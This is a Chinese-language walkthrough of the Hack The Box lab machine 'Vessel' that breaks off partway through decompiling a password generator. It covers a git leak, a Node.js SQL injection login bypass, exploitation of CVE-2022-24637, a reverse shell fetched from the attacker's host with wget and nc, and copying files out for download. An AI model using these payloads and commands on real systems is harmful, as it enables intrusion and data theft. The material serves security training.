HTB-Vessel
一、思路概要
- 信息收集发现Git信息泄露;
- 分析Git信息发现Nodejs-SQL注入;
- Nodejs-SQL注入以admin身份登录主站;
- 主站源码发现openwebanalytics子域;
- Google发现OpenWebAnalytics存在CVE-2022-24637;
- CVE-2022-24637以admin身份登录openwebanalytics子域并获取www-data用户shell;
/home/steven
发现可疑加密PDF文件和密码生成程序;- Python反编译密码生成程序破解PDF密码获取SSH用户密码;
- 登录SSH用户查询拥有suid权限的文件发现CVE-2022-0811;
- CVE-2022-0811内核提权获取root用户权限。
二、信息收集
nmap扫端口
┌──(root💀kali)-[~/Desktop]
└─# nmap -sC -sV 10.10.11.178
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-20 21:58 EDT
Nmap scan report for 10.10.11.178
Host is up (0.78s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 38:c2:97:32:7b:9e:c5:65:b4:4b:4e:a3:30:a5:9a:a5 (RSA)
| 256 33:b3:55:f4:a1:7f:f8:4e:48:da:c5:29:63:13:83:3d (ECDSA)
|_ 256 a1:f1:88:1c:3a:39:72:74:e6:30:1f:28:b6:80:25:4e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vessel
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.56 seconds
开放端口:22(ssh)、80(http)
浏览器访问IP,页面如下
ffuf枚举子目录
┌──(root💀kali)-[~/Desktop]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://10.10.11.178/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.178/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,301
________________________________________________
[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 576ms]
* FUZZ: dev
[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 4584ms]
* FUZZ: css
[Status: 200, Size: 2393, Words: 999, Lines: 52, Duration: 525ms]
* FUZZ: 404
[Status: 200, Size: 4213, Words: 1929, Lines: 71, Duration: 288ms]
* FUZZ: login
[Status: 301, Size: 171, Words: 7, Lines: 11, Duration: 884ms]
* FUZZ: js
[Status: 200, Size: 5830, Words: 3040, Lines: 90, Duration: 2728ms]
* FUZZ: register
[Status: 301, Size: 173, Words: 7, Lines: 11, Duration: 2683ms]
* FUZZ: img
[Status: 200, Size: 2335, Words: 991, Lines: 52, Duration: 302ms]
* FUZZ: 500
[Status: 200, Size: 15030, Words: 5599, Lines: 244, Duration: 301ms]
* FUZZ:
[Status: 200, Size: 3637, Words: 1604, Lines: 64, Duration: 374ms]
* FUZZ: reset
[Status: 200, Size: 2400, Words: 1029, Lines: 53, Duration: 362ms]
* FUZZ: 401
:: Progress: [26584/26584] :: Job [1/1] :: 293 req/sec :: Duration: [0:01:40] :: Errors: 2 ::
301:/dev
、/css
、/js
、/img
200:/404
、/login
、/register
、/500
、/reset
、/401
以上目录,只有/dev
最可能存在线索,因为其他几个都是比较常规的功能点。但对/dev
目录做枚举,没发现什么东西,就猜一下.git
,但/dev/.git
做了跳转,会跳转到404,就进一层对/dev/.git/
的子目录做枚举
┌──(root💀kali)-[~/Desktop]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 100 -mc 200,301 -u http://10.10.11.178/dev/.git/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.178/dev/.git/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,301
________________________________________________
[Status: 301, Size: 193, Words: 7, Lines: 11, Duration: 280ms]
* FUZZ: info
[Status: 200, Size: 2607, Words: 18, Lines: 19, Duration: 4971ms]
* FUZZ: index
[Status: 301, Size: 193, Words: 7, Lines: 11, Duration: 6035ms]
* FUZZ: logs
[Status: 301, Size: 199, Words: 7, Lines: 11, Duration: 6166ms]
* FUZZ: objects
[Status: 301, Size: 195, Words: 7, Lines: 11, Duration: 379ms]
* FUZZ: hooks
[Status: 200, Size: 139, Words: 13, Lines: 9, Duration: 7085ms]
* FUZZ: config
[Status: 200, Size: 73, Words: 10, Lines: 2, Duration: 281ms]
* FUZZ: description
[Status: 301, Size: 201, Words: 7, Lines: 11, Duration: 262ms]
* FUZZ: branches
[Status: 301, Size: 193, Words: 7, Lines: 11, Duration: 279ms]
* FUZZ: refs
:: Progress: [63087/63087] :: Job [1/1] :: 322 req/sec :: Duration: [0:02:58] :: Errors: 0 ::
确定存在Git信息泄露
三、Git信息泄露
Git信息泄露参考:https://www.freebuf.com/articles/web/318599.html
用git-dumper
工具把git相关文件下载到本地(也可以用GitHack
),此处下载到./Vessel/git
目录下
pip install git-dumper
git-dumper http://10.10.11.178/dev ./Vessel/git
git log
看一下git日志,看到邮箱ethan@vessel.htb
┌──(root💀kali)-[~/Desktop]
└─# cd Vessel/git
┌──(root💀kali)-[~/Desktop/Vessel/git]
└─# git log
commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -> master)
Author: Ethan <ethan@vessel.htb>
Date: Mon Aug 22 10:11:34 2022 -0400
Potential security fixes
commit edb18f3e0cd9ee39769ff3951eeb799dd1d8517e
Author: Ethan <ethan@vessel.htb>
Date: Fri Aug 12 14:19:19 2022 -0400
Security Fixes
commit f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3
Author: Ethan <ethan@vessel.htb>
Date: Wed Aug 10 15:16:56 2022 -0400
Initial commit
用tree命令
看一下文件目录树(也可用GitKraken
或其他审计类工具分析git文件)
┌──(root💀kali)-[~/Desktop]
└─# tree -a Vessel/git/
Vessel/git/
├── config
│ └── db.js
├── .git
│ ├── COMMIT_EDITMSG
│ ├── config
│ ├── description
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg.sample
│ │ ├── commit-msg.sample
│ │ ├── post-update.sample
│ │ ├── pre-applypatch.sample
│ │ ├── pre-commit.sample
│ │ ├── prepare-commit-msg.sample
│ │ ├── pre-push.sample
│ │ ├── pre-rebase.sample
│ │ ├── pre-receive.sample
│ │ └── update.sample
│ ├── index
│ ├── info
│ │ └── exclude
│ ├── logs
│ │ ├── HEAD
│ │ └── refs
│ │ └── heads
│ │ └── master
│ ├── objects
│ │ ├── 00
│ │ │ └── 459be15fd7f38a86843ba1ce5cd6eabeb50a59
│ │ ├── 0a
│ │ │ └── ddd8d9ac7f6daf0d44ee78925d07de0a3dee44
│ │ ├── ......
│ │ │ └── ......
│ │ └── fc
│ │ └── 5ce922a9d1073d6c9cc34770c140cc3488f3fa
│ ├── ORIG_HEAD
│ └── refs
│ └── heads
│ └── master
├── index.js
├── public
│ ├── css
│ │ ├── style.css
│ │ └── styles.css
│ ├── img
│ │ ├── bg-masthead.jpg
│ │ ├── error-404-monochrome.svg
│ │ ├── favicon.ico
│ │ ├── portfolio
│ │ │ └── thumbnails
│ │ │ ├── 1.jpg
│ │ │ ├── 2.jpg
│ │ │ ├── 3.jpg
│ │ │ ├── 4.jpg
│ │ │ ├── 5.jpg
│ │ │ ├── 6.jpg
│ │ │ └── images.zip
│ │ └── profile.jpg
│ └── js
│ ├── script.js
│ └── scripts.js
├── routes
│ └── index.js
└── views
├── 401.ejs
├── 404.ejs
├── 500.ejs
├── index.ejs
├── login.ejs
├── register.ejs
└── reset.ejs
在./Vessel/git/config/db.js
看到数据库连接信息
┌──(root💀kali)-[~/Desktop]
└─# cat ./Vessel/git/config/db.js
var mysql = require('mysql');
var connection = {
db: {
host : 'localhost',
user : 'default',
password : 'daqvACHKvRn84VdVp',
database : 'vessel'
}};
module.exports = connection;
在./Vessel/git/routes/index.js
看到登录页面的数据库查询语句
cat ./Vessel/git/routes/index.js
router.post('/api/login', function(req, res) {
let username = req.body.username;
let password = req.body.password;
if (username && password) {
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
if (error) throw error;
if (results.length > 0) {
req.session.loggedin = true;
req.session.username = username;
req.flash('success', 'Succesfully logged in!');
res.redirect('/admin');
} else {
req.flash('error', 'Wrong credentials! Try Again!');
res.redirect('/login');
}
res.end();
});
} else {
res.redirect('/login');
}
});
此处的SQL查询语句参数做了占位符处理,相当于是预编译
直接把这条语句复制到google搜索,找到如下文章,是Nodejs的SQL注入
四、Nodejs-SQL注入
参考:https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/

意思大概是说,当构造传参payload为username=admin&password[password]=1
时,由于Nodejs本身的特性,会将password[password]=1
解析成一个对象,而不是解析成字符串,从而sql查询语句会变成如下
SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1
从而使username为admin,而password逻辑判断恒为1(布尔true),以此达到类似万能密码的效果。
开始操作
点击主页面右上角Login进入登录页面,随便输入用户名密码,同时Burp抓包
修改请求包数据部分为username=admin&password[password]=1
连续点击两次Forward,回到浏览器,可看到以admin身份登录成功
查看页面源代码,发现如下子域名
将子域名写入本地hosts文件
echo "10.10.11.178 openwebanalytics.vessel.htb" >> /etc/hosts
浏览器打开openwebanalytics.vessel.htb
登录框上下都写着Open Web Analytics
,那就去google一下Open Web Analytics exploit
,看到了这篇文章
From Single/Double Quote Confusion To RCE(CVE-2022-24637):https://devel0pment.de/?p=2494
五、CVE-2022-24637
如图,文章开头介绍了这个CVE的两个漏洞点:
定义PHP缓存文件头的地方,如果用
'<?php\n...'
,而不是"<?php\n..."
,会导致\n
不会被解析成换行符,那么<?php\n
就不是一个有效的PHP文件头,所在的缓存文件就不会被解析成PHP代码,只会被解析成普通文本,从而导致缓存信息泄露。泄露的信息还可被用于重置管理员密码。PHP文件写入,但需要管理员权限。通过构造POST请求更改日志路径和日志等级,将日志文件设置为PHP文件。通过同时提高日志级别并使用攻击者控制的数据生成事件,可以将 PHP 代码注入到该日志文件中。这导致可以执行任意PHP代码。
自己本地用php -a
测试一下
php > echo '<?php\n/*wa0er*/\n?>';
<?php\n/*wa0er*/\n?>
php > echo "<?php\n/*wa0er*/\n?>";
<?php
/*wa0er*/
?>
如上结果可以看出单双引号解析的差异
┌──(root💀kali)-[~/Desktop]
└─# cat test1.php
<?php\necho 9898;\n?>
┌──(root💀kali)-[~/Desktop]
└─# php -f test1.php
<?php\necho 9898;\n?>
┌──(root💀kali)-[~/Desktop]
└─# cat test2.php
<?php
echo 9898;
?>
┌──(root💀kali)-[~/Desktop]
└─# php -f test2.php
9898
如上结果可以看出两种格式在文件中解析效果
漏洞所在源码:
关键代码如下
...
class owa_fileCache extends owa_cache {
...
var $cache_file_header = '<?php\n/*';
var $cache_file_footer = '*/\n?>';
...
function putItemToCacheStore($collection, $id) {
...
$data = $this->cache_file_header.base64_encode(serialize($this->cache[$collection][$id])).$this->cache_file_footer;
...
$tcf_handle = @fopen($temp_cache_file, 'w');
...
fputs($tcf_handle, $data);
...
此处用的就是单引号,得到的缓存文件中的缓存数据格式如下
<?php\n/*先序列化然后base64编码的数据*/\n?>
缓存文件名命名如下
...
$cache_file = $collection_dir.$id.'.php';
...
if (!@ rename($temp_cache_file, $cache_file)) {
...
审计发现,默认id值为1,缓存文件拼接后的访问路径为(审计着重关注fileCache.php
、cache.php
、owa_coreAPI.php
、owa_entity.php
、user.php
)
http://localhost/owa_web/owa-data/caches/1/owa_user/xxx.php
“http://localhost/owa_web/”表示owa主页面所在路径,此处为http://openwebanalytics.vessel.htb/
php文件名“xxx”表示“id+id值”的32位md5值,比如id=1,那么xxx为“id1”的md5值
在openwebanalytics.vessel.htb
点击忘记密码,进入重置密码页面,刚才在git日志看到邮箱格式,尝试ethan@vessel.htb
不存在,尝试admin@vessel.htb
提示发送邮件到admin@vessel.htb
然后根据刚才的分析,id1的md5值如图
缓存文件的访问路径如下
http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php
浏览器访问缓存文件,页面空白,查看页面源代码,获取到泄露的base64数据
<?php\n/*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJuYW1lIjtzOjk6ImJhc2UudXNlciI7czoxMDoicHJvcGVydGllcyI7YToxMDp7czoyOiJpZCI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MToiMSI7czo5OiJkYXRhX3R5cGUiO3M6NjoiU0VSSUFMIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjc6InVzZXJfaWQiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjoxO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjg6InBhc3N3b3JkIjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO047czo1OiJ2YWx1ZSI7czo2MDoiJDJ5JDEwJDk1MUhISkY0b0RqWmR6MGJTSWcxYnV1R2ZEYUwxVHpvcGt6d2U2SmRBZnZjU0hoLzd3WHNTIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjQ6InJvbGUiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjk6InJlYWxfbmFtZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTM6ImRlZmF1bHQgYWRtaW4iO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fXM6MTM6ImVtYWlsX2FkZHJlc3MiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjE2OiJhZG1pbkB2ZXNzZWwuaHRiIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjEyOiJ0ZW1wX3Bhc3NrZXkiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjMyOiJjNjNmZWQzOGU1OWIyNmU2OGY1YjJjZDc4ZWJkNmJlNSI7czo5OiJkYXRhX3R5cGUiO3M6MTI6IlZBUkNIQVIoMjU1KSI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxMzoiY3JlYXRpb25fZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxNjoibGFzdF91cGRhdGVfZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czo3OiJhcGlfa2V5IjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO3M6NzoiYXBpX2tleSI7czo1OiJ2YWx1ZSI7czozMjoiYTM5MGNjMDI0N2VjYWRhOWEyYjhkMjMzOGI5Y2E2ZDIiO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fX1zOjE2OiJfdGFibGVQcm9wZXJ0aWVzIjthOjQ6e3M6NToiYWxpYXMiO3M6NDoidXNlciI7czo0OiJuYW1lIjtzOjg6Im93YV91c2VyIjtzOjk6ImNhY2hlYWJsZSI7YjoxO3M6MjM6ImNhY2hlX2V4cGlyYXRpb25fcGVyaW9kIjtpOjYwNDgwMDt9czoxMjoid2FzUGVyc2lzdGVkIjtiOjE7czo1OiJjYWNoZSI7Tjt9*/\n?>
Base64解码得序列化数据
O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$951HHJF4oDjZdz0bSIg1buuGfDaL1Tzopkzwe6JdAfvcSHh/7wXsS";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"admin@vessel.htb";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"c63fed38e59b26e68f5b2cd78ebd6be5";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;}
关键点在于temp_passkey
的值c63fed38e59b26e68f5b2cd78ebd6be5
可用来重置admin的密码
那么我们把URL末尾owa_do
的值改为base.usersChangePassword
,访问
http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword
直接修改密码,然后点击Save Your New Password
,会提示Error! Can't find your temporary passkey in the db.
一般思路应该是有个名字类似temp_passkey
的参数,可以修改为我们刚才获得的temp_passkey
值,以此来绕过修改密码时所需的认证步骤。
然后我们就在F12
页面源码看到了如下图内容
我们把hidden删除,可看到显示除了如下文本框
输入新密码,然后输入刚才temp_passkey
的值,点击Save Your New Password
,成功修改(这里试了好几次,可能temp_passkey
刷新比较快)
用admin用户和刚修改的密码登录,登录成功
已是admin用户,那就尝试用上面文章漏洞利用的第二阶段,进一步执行命令反弹shell,下载下面的exploit脚本到本地
git clone https://github.com/hupe1980/CVE-2022-24637
先开启nc监听
nc -lvnp 9898
用如下命令执行脚本
python3 exploit.py -u admin -p wa0er http://openwebanalytics.vessel.htb/ 10.10.16.7 9898
如图成功获取www-data用户shell,但这个shell环境不稳定,换一个交互shell
下载如下脚本到本地
wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
修改ip和port为本地ip和端口
本地开启http服务
python3 -m http.server 80
在靶机www-data用户的shell环境,从本地下载php-reverse-shell.php到/var/www/html/owa/owa-data/logs
目录下
wget http://10.10.16.7/php-reverse-shell.php
再次本地开启nc监听9898端口,然后本地运行如下命令触发反弹shell文件
curl http://openwebanalytics.vessel.htb/owa-data/logs/php-reverse-shell.php
home目录下有两个用户,ethan和steven,进入/home/ethan
目录没权限,于是进/home/steven
目录
在/home/steven
目录下有一个passwordGenerator
文件,在/home/steven/.notes
有两个可疑文件:notes.pdf
和screenshot.png
把文件都复制到/var/www/html/owa/owa-data/logs/
目录下,便于访问下载
cp notes.pdf /var/www/html/owa/owa-data/logs/
cp screenshot.png /var/www/html/owa/owa-data/logs/
cp passwordGenerator /var/www/html/owa/owa-data/logs/
回到本地,将三个文件下载下来
wget http://openwebanalytics.vessel.htb/owa-data/logs/notes.pdf
wget http://openwebanalytics.vessel.htb/owa-data/logs/screenshot.png
wget http://openwebanalytics.vessel.htb/owa-data/logs/passwordGenerator
notes.pdf
打开需要密码,screenshot.png
如下,密码长度32位,这应该是passwordGenerator
的运行界面

执行如下命令,看到passwordGenerator
是Windows下的可执行文件,PE32表示Portable Executable 32-bit
┌──(root💀kali)-[~/Desktop]
└─# file passwordGenerator
passwordGenerator: PE32 executable (console) Intel 80386, for MS Windows
把passwordGenerator
拖到Windows机器中,后缀加上.exe
,双击运行,如下左侧可选择password长度,右侧有三个选项ALL Characters
、Alphabetic
(字母)、Alphanumeric
(字母数字),前面拿到的截图是第一个选项

点击Generate!
,弹窗提示生成passwords前要更改默认values,看来是生成不了,得曲线救国,破解它

六、Python反编译
在Windows用WinHex(其他16进制文本编辑器均可)打开这个可执行程序,在末尾可以发现pyinstaller
编译的标志MEI
python反编译参考:https://blog.51cto.com/u_15060540/3888913

下载pyinstxtractor
脚本
git clone https://github.com/extremecoders-re/pyinstxtractor
把passwordGenerator
放到下好的脚本同目录下,运行如下命令
┌──(root💀kali)-[~/Desktop/pyinstxtractor]
└─# python3 pyinstxtractor.py passwordGenerator
[+] Processing passwordGenerator
[+] Pyinstaller version: 2.1+
[+] Python version: 3.7
[+] Length of package: 34300131 bytes
[+] Found 95 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pyside2.pyc
[+] Possible entry point: passwordGenerator.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: passwordGenerator
You can now use a python decompiler on the pyc files within the extracted directory
会在当前文件夹自动生成名叫passwordGenerator_extracted
的目录

用uncompyle6
反编译目标.pyc
文件
pip install uncompyle6
uncompyle6 passwordGenerator.pyc
得到源码
# uncompyle6 version 3.9.0
# Python bytecode version base 3.7.0 (3394)
# Decompiled from: Python 3.9.1+ (default, Feb 5 2021, 13:46:56)
# [GCC 10.2.1 20210110]
# Embedded file name: passwordGenerator.py
from PySide2.QtCore import *
from PySide2.QtGui import *
from PySide2.QtWidgets import *
from PySide2 import QtWidgets
import pyperclip
class Ui_MainWindow(object):
